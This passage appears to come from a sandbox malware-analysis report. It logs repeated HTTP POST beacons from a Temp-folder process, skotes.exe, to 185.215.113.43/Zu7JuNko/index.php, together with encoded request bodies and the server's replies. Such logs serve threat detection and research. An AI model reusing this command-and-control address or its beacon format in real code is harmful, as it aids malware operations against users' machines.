Nov 13, 2024 18:13:36.814285994 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:37.832802057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50369	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:39.471132994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	50370	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:41.095077991 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:42.015517950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	50371	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:43.643557072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:44.562969923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50372	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:46.083334923 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:47.016354084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50373	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:48.640600920 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:49.842206955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 13, 2024 18:13:49.844254017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	50374	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:51.360089064 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:52.301724911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	50375	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:54.075097084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:54.980386972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	50378	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:56.505911112 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:13:57.417926073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	50379	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:13:59.040074110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:13:59.966875076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:13:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	50380	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:01.531919956 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:02.457870960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	50381	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:04.098742962 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:05.010740995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	50382	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:06.534014940 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:07.433980942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	50383	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:09.052772999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:09.977895975 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	50384	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:11.504189968 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:12.438150883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	50385	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:14.063427925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:14.989027977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	50386	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:16.502238989 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	50387	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:18.608664989 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:19.507949114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	50388	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:21.029285908 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:21.926738024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	50389	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:23.547679901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:24.450655937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	50390	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:25.972418070 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:26.903415918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	50392	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:28.533907890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 13, 2024 18:14:29.730242014 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 13, 2024 18:14:29.731332064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	50393	185.215.113.43	80	8328	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:14:31.252262115 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 13, 2024 18:14:32.163652897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Nov 2024 17:14:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
